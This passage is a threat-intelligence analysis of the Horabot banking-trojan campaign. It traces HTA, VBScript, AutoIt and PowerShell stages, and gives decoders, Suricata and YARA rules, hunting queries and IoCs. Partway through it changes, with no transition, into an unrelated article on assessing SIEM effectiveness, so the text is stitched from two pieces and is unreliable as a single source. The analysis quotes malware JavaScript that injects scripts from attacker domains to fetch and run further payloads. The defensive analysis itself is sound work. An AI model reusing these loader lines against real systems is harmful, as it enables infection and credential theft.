This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

A SIEM is a complex system offering broad and flexible threat detection capabilities. Due to its complexity, its effectiveness heavily depends on how it is configured and what data sources are connected to it. A one-time SIEM setup during implementation is not enough: both the organization’s infrastructure and attackers’ techniques evolve over time. To operate effectively, the SIEM system must reflect the current state of affairs.

We provide customers with services to assess SIEM effectiveness, helping to identify issues and offering options for system optimization. In this article, we examine typical SIEM operational pitfalls and how to address them. For each case, we also include methods for independent verification.

This material is based on an assessment of Kaspersky SIEM effectiveness; therefore, all specific examples, commands, and field names are taken from that solution. However, the assessment methodology, issues we identified, and ways to enhance system effectiveness can easily be extrapolated to any other SIEM.

Methodology for assessing SIEM effectiveness

The primary audience for the effectiveness assessment report comprises the SIEM support and operation teams within an organization. The main goal is to analyze how well the usage of SIEM aligns with its objectives. Consequently, the scope of checks can vary depending on the stated goals. A standard assessment is conducted across the following areas:

• Composition and scope of connected data sources
• Coverage of data sources
• Data flows from existing sources
• Correctness of data normalization
• Detection logic operability
• Detection logic accuracy
• Detection logic coverage
• Use of contextual data
• SIEM technical integration into SOC processes
• SOC analysts’ handling of alerts in the SIEM
• Forwarding of alerts, security event data, and incident information to other systems
• Deployment architecture and documentation

At the same time, these areas are examined not only in isolation but also in terms of their potential influence on one another. Here are a couple of examples illustrating this interdependence:

• Issues with detection logic due to incorrect data normalization. A correlation rule with the condition deviceCustomString1 not contains <string> triggers a large number of alerts. The detection logic itself is correct: the specific event and the specific field it targets should not generate a large volume of data matching the condition. Our review revealed the issue was in the data ingested by the SIEM, where incorrect encoding caused the string targeted by the rule to be transformed into a different one. Consequently, all events matched the condition and generated alerts.
• When analyzing coverage for a specific source type, we discovered that the SIEM was only monitoring 5% of all such sources deployed in the infrastructure. However, extending that coverage would increase system load and storage requirements. Therefore, besides connecting additional sources, it would be necessary to scale resources for specific modules (storage, collectors, or the correlator).

The effectiveness assessment consists of several stages:

• Collect and analyze documentation, if available. This allows assessing SIEM objectives, implementation settings (ideally, the deployment settings at the time of the assessment), associated processes, and so on.
• Interview system engineers, analysts, and administrators. This allows assessing current tasks and the most pressing issues, as well as determining exactly how the SIEM is being operated. Interviews are typically broken down into two phases: an introductory interview, conducted at project start to gather general information, and a follow-up interview, conducted mid-project to discuss questions arising from the analysis of previously collected data.
• Gather information within the SIEM and then analyze it. This is the most extensive part of the assessment, during which Kaspersky experts are granted read-only access to the system or a part of it to collect factual data on its configuration, detection logic, data flows, and so on.

The assessment produces a list of recommendations. Some of these can be implemented almost immediately, while others require more comprehensive changes driven by process optimization or a transition to a more structured approach to system use.

Issues arising from SIEM operations

The problems we identify during a SIEM effectiveness assessment can be divided into three groups:

• Performance issues, meaning operational errors in various system components. These problems are typically resolved by technical support, but to prevent them, it is worth periodically checking system health status.
• Efficiency issues – when the system functions normally but seemingly adds little value or is not used to its full potential. This is usually due to the customer using the system capabilities in a limited way, incorrectly, or not as intended by the developer.
• Detection issues – when the SIEM is operational and continuously evolving according to defined processes and approaches, but alerts are mostly false positives, and the system misses incidents. For the most part, these problems are related to the approach taken in developing detection logic.

Key observations from the assessment

Event source inventory

When building the inventory of event sources for a SIEM, we follow the principle of layered monitoring: the system should have information about all detectable stages of an attack. This principle enables the detection of attacks even if individual malicious actions have gone unnoticed, and allows for retrospective reconstruction of the full attack chain, starting from the attackers’ point of entry.

Problem: During effectiveness assessments, we frequently find that the inventory of connected source types is not updated when the infrastructure changes. In some cases, it has not been updated since the initial SIEM deployment, which limits incident detection capabilities. Consequently, certain types of sources remain completely invisible to the system.

We have also encountered non-standard cases of incomplete source inventory. For example, an infrastructure contains hosts running both Windows and Linux, but monitoring is configured for only one family of operating systems.

How to detect: To identify the problems described above, determine the list of source types connected to the SIEM and compare it against what actually exists in the infrastructure. Identifying the presence of specific systems in the infrastructure requires an audit. However, this task is one of the most critical for many areas of cybersecurity, and we recommend running it on a periodic basis.

We have compiled a reference sheet of system types commonly found in most organizations. Depending on the organization type, infrastructure, and threat model, we may rearrange priorities. However, a good starting point is as follows:

• High Priority – sources associated with:
  • Remote access provision
  • External services accessible from the internet
  • External perimeter
  • Endpoint operating systems
  • Information security tools
• Medium Priority – sources associated with:
  • Remote access management within the perimeter
  • Internal network communication
  • Infrastructure availability
  • Virtualization and cloud solutions
• Low Priority – sources associated with:
  • Business applications
  • Internal IT services
  • Applications used by various specialized teams (HR, Development, PR, IT, and so on)

Monitoring data flow from sources

Regardless of how good the detection logic is, it cannot function without telemetry from the data sources.

Problem: The SIEM core is not receiving events from specific sources or collectors. Based on all assessments conducted, the average proportion of collectors that are configured with sources but are not transmitting events is 38%. Correlation rules may exist for these sources, but they will, of course, never trigger. It is also important to remember that a single collector can serve hundreds of sources (such as workstations), so the loss of data flow from even one collector can mean losing monitoring visibility for a significant portion of the infrastructure.

How to detect: The process of locating sources that are not transmitting data can be broken down into two components.

1. Checking collector health. Find the status of collectors (see the support website for the steps to do this in Kaspersky SIEM) and identify those with a status of Offline, Stopped, Disabled, and so on.
2. Checking the event flow. In Kaspersky SIEM, this can be done by gathering statistics using the following query (counting the number of events received from each collector over a specific time period):

SELECT count(ID), CollectorID, CollectorName FROM `events` GROUP BY CollectorID, CollectorName ORDER BY count(ID)

It is essential to specify an optimal time range for collecting these statistics. Too large a range can increase the load on the SIEM, while too small a range may provide inaccurate information for a one-time check – especially for sources that transmit telemetry relatively infrequently, say, once a week. Therefore, it is advisable to choose a smaller time window, such as 2–4 days, but run several queries for different periods in the past.

Additionally, for a more comprehensive approach, it is recommended to use built-in functionality or custom logic implemented via correlation rules and lists to monitor event flow. This will help automate the process of detecting problems with sources.

Event source coverage

Problem: The system is not receiving events from all sources of a particular type that exist in the infrastructure. For example, the company uses workstations and servers running Windows. During SIEM deployment, workstations are immediately connected for monitoring, while the server segment is postponed for one reason or another. As a result, the SIEM receives events from Windows systems, the flow is normalized, and correlation rules work, but an incident in the unmonitored server segment would go unnoticed.

How to detect: Below are query variations that can be used to search for unconnected sources.

• SELECT count(distinct, DeviceAddress), DeviceVendor, DeviceProduct FROM events GROUP BY DeviceVendor, DeviceProduct ORDER BY count(ID)
• SELECT count(distinct, DeviceHostName), DeviceVendor, DeviceProduct FROM events GROUP BY DeviceVendor, DeviceProduct ORDER BY count(ID)

We have split the query into two variations because, depending on the source and the DNS integration settings, some events may contain either a DeviceAddress or DeviceHostName field.

These queries will help determine the number of unique data sources sending logs of a specific type. This count must be compared against the actual number of sources of that type, obtained from the system owners.

Retaining raw data

Raw data can be useful for developing custom normalizers or for storing events not used in correlation that might be needed during incident investigation. However, careless use of this setting can cause significantly more harm than good.

Problem: Enabling the Keep raw event option effectively doubles the event size in the database, as it stores two copies: the original and the normalized version. This is particularly critical for high-volume collectors receiving events from sources like NetFlow, DNS, firewalls, and others. It is worth noting that this option is typically used for testing a normalizer but is often forgotten and left enabled after its configuration is complete.

How to detect: This option is applied at the normalizer level. Therefore, it is necessary to review all active normalizers and determine whether retaining raw data is required for their operation.

Normalization

As with the absence of events from sources, normalization issues lead to detection logic failing, as this logic relies on finding specific information in a specific event field.

Problem: Several issues related to normalization can be identified:

• The event flow is not being normalized at all.
• Events are only partially normalized – this is particularly relevant for custom, non-out-of-the-box normalizers.
• The normalizer being used only parses headers, such as syslog_headers, placing the entire event body into a single field, this field most often being Message.
• An outdated default normalizer is being used.

How to detect: Identifying normalization issues is more challenging than spotting source problems due to the high volume of telemetry and variety of parsers. Here are several approaches to narrowing the search:

• First, check which normalizers supplied with the SIEM the organization uses and whether their versions are up to date. In our assessments, we frequently encounter auditd events being normalized by the outdated normalizer, Linux audit and iptables syslog v2 for Kaspersky SIEM. The new normalizer completely reworks and optimizes the normalization schema for events from this source.
• Execute the query:

SELECT count(ID), DeviceProduct, DeviceVendor, CollectorName FROM `events` GROUP BY DeviceProduct, DeviceVendor, CollectorName ORDER BY count(ID)

This query gathers statistics on events from each collector, broken down by the DeviceVendor and DeviceProduct fields. While these fields are not mandatory, they are present in almost any normalization schema. Therefore, their complete absence or empty values may indicate normalization issues. We recommend including these fields when developing custom normalizers.

To simplify the identification of normalization problems when developing custom normalizers, you can implement the following mechanism. For each successfully normalized event, add a Name field, populated from a constant or the event itself. For a final catch-all normalizer that processes all unparsed events, set the constant value: Name = unparsed event. This will later allow you to identify non-normalized events through a simple search on this field.

Detection logic coverage

Collected events alone are, in most cases, only useful for investigating an incident that has already been identified. For a SIEM to operate to its full potential, it requires detection logic to be developed to uncover probable security incidents.

Problem: The mean correlation rule coverage of sources, determined across all our assessments, is 43%. While this figure is only a ballpark figure – as different source types provide different information – to calculate it, we defined “coverage” as the presence of at least one correlation rule for a source. This means that for more than half of the connected sources, the SIEM is not actively detecting. Meanwhile, effort and SIEM resources are spent on connecting, maintaining, and configuring these sources. In some cases, this is formally justified, for instance, if logs are only needed for regulatory compliance. However, this is an exception rather than the rule.

We do not recommend solving this problem by simply not connecting sources to the SIEM. On the contrary, sources should be connected, but this should be done concurrently with the development of corresponding detection logic. Otherwise, it can be forgotten or postponed indefinitely, while the source pointlessly consumes system resources.

How to detect: This brings us back to auditing, a process that can be greatly aided by creating and maintaining a register of developed detection logic. Given that not every detection logic rule explicitly states the source type from which it expects telemetry, its description should be added to this register during the development phase.

If descriptions of the correlation rules are not available, you can refer to the following:

• The name of the detection logic. With a standardized approach to naming correlation rules, the name can indicate the associated source or at least provide a brief description of what it detects.
• The use of fields within the rules, such as DeviceVendor, DeviceProduct (another argument for including these fields in the normalizer), Name, DeviceAction, DeviceEventCategory, DeviceEventClassID, and others. These can help identify the actual source.

Excessive alerts generated by the detection logic

One criterion for correlation rules effectiveness is a low false positive rate.

Problem: Detection logic generates an abnormally high number of alerts that are physically impossible to process, regardless of the size of the SOC team.

How to detect: First and foremost, detection logic should be tested during development and refined to achieve an acceptable false positive rate. However, even a well-tuned correlation rule can start producing excessive alerts due to changes in the event flow or connected infrastructure. To identify these rules, we recommend periodically running the following query:

SELECT count(ID), Name FROM `events` WHERE Type = 3 GROUP BY Name ORDER BY count(ID)

In Kaspersky SIEM, a value of 3 in the Type field indicates a correlation event.

Subsequently, for each identified rule with an anomalous alert count, verify the correctness of the logic it uses and the integrity of the event stream on which it triggered.

Depending on the issue you identify, the solution may involve modifying the detection logic, adding exceptions (for example, it is often the case that 99% of the spam originates from just 1–5 specific objects, such as an IP address, a command parameter, or a URL), or adjusting event collection and normalization.

Lack of integration with indicators of compromise

SIEM integrations with other systems are generally a critical part of both event processing and alert enrichment. In at least one specific case, their presence directly impacts detection performance: integration with technical Threat Intelligence data or IoCs (indicators of compromise).

A SIEM allows conveniently checking objects against various reputation databases or blocklists. Furthermore, there are numerous sources of this data that are ready to integrate natively with a SIEM or require minimal effort to incorporate.

Problem: There is no integration with TI data.

How to detect: Generally, IoCs are integrated into a SIEM at the system configuration level during deployment or subsequent optimization. The use of TI within a SIEM can be implemented at various levels:

• At the data source level. Some sources, such as NGFWs, add this information to events involving relevant objects.
• At the SIEM native functionality level. For example, Kaspersky SIEM integrates with CyberTrace indicators, which add object reputation information at the moment of processing an event from a source.
• At the detection logic level. Information about IoCs is stored in various active lists, and correlation rules match objects against these to enrich the event.

Furthermore, TI data does not appear in a SIEM out of thin air. It is either provided by external suppliers (commercially or in an open format) or is part of the built-in functionality of the security tools in use. For instance, various NGFW systems can additionally check the reputation of external IP addresses or domains that users are accessing. Therefore, the first step is to determine whether you are receiving information about indicators of compromise and in what form (whether external providers’ feeds have been integrated and/or the deployed security tools have this capability). It is worth noting that receiving TI data only at the security tool level does not always cover all types of IoCs.

If data is being received in some form, the next step is to verify that the SIEM is utilizing it. For TI-related events coming from security tools, the SIEM needs a correlation rule developed to generate alerts. Thus, checking integration in this case involves determining the capabilities of the security tools, searching for the corresponding events in the SIEM, and identifying whether there is detection logic associated with these events. If events from the security tools are absent, the source audit configuration should be assessed to see if the telemetry type in question is being forwarded to the SIEM at all. If normalization is the issue, you should assess parsing accuracy and reconfigure the normalizer.

If TI data comes from external providers, determine how it is processed within the organization. Is there a centralized system for aggregating and managing threat data (such as CyberTrace), or is the information stored in, say, CSV files?

In the former case (there is a threat data aggregation and management system) you must check if it is integrated with the SIEM. For Kaspersky SIEM and CyberTrace, this integration is handled through the SIEM interface. Following this, SIEM event flows are directed to the threat data aggregation and management system, where matches are identified and alerts are generated, and then both are sent back to the SIEM. Therefore, checking the integration involves ensuring that all collectors receiving events that may contain IoCs are forwarding those events to the threat data aggregation and management system. We also recommend checking if the SIEM has a correlation rule that generates an alert based on matching detected objects with IoCs.

In the latter case (threat information is stored in files), you must confirm that the SIEM has a collector and normalizer configured to load this data into the system as events. Also, verify that logic is configured for storing this data within the SIEM for use in correlation. This is typically done with the help of lists that contain the obtained IoCs. Finally, check if a correlation rule exists that compares the event flow against these IoC lists.

As the examples illustrate, integration with TI in standard scenarios ultimately boils down to developing a final correlation rule that triggers an alert upon detecting a match with known IoCs. Given the variety of integration methods, creating and providing a universal out-of-the-box rule is difficult. Therefore, in most cases, to ensure IoCs are connected to the SIEM, you need to determine if the company has developed that rule (the existence of the rule) and if it has been correctly configured. If no correlation rule exists in the system, we recommend creating one based on the TI integration methods implemented in your infrastructure. If a rule does exist, its functionality must be verified: if there are no alerts from it, analyze its trigger conditions against the event data visible in the SIEM and adjust it accordingly.

The SIEM is not kept up to date

For a SIEM to run effectively, it must contain current data about the infrastructure it monitors and the threats it’s meant to detect. Both elements change over time: new systems and software, users, security policies, and processes are introduced into the infrastructure, while attackers develop new techniques and tools. It is safe to assume that a perfectly configured and deployed SIEM system will no longer be able to fully see the altered infrastructure or the new threats after five years of running without additional configuration. Therefore, practically all components – event collection, detection, additional integrations for contextual information, and exclusions – must be maintained and kept up to date.

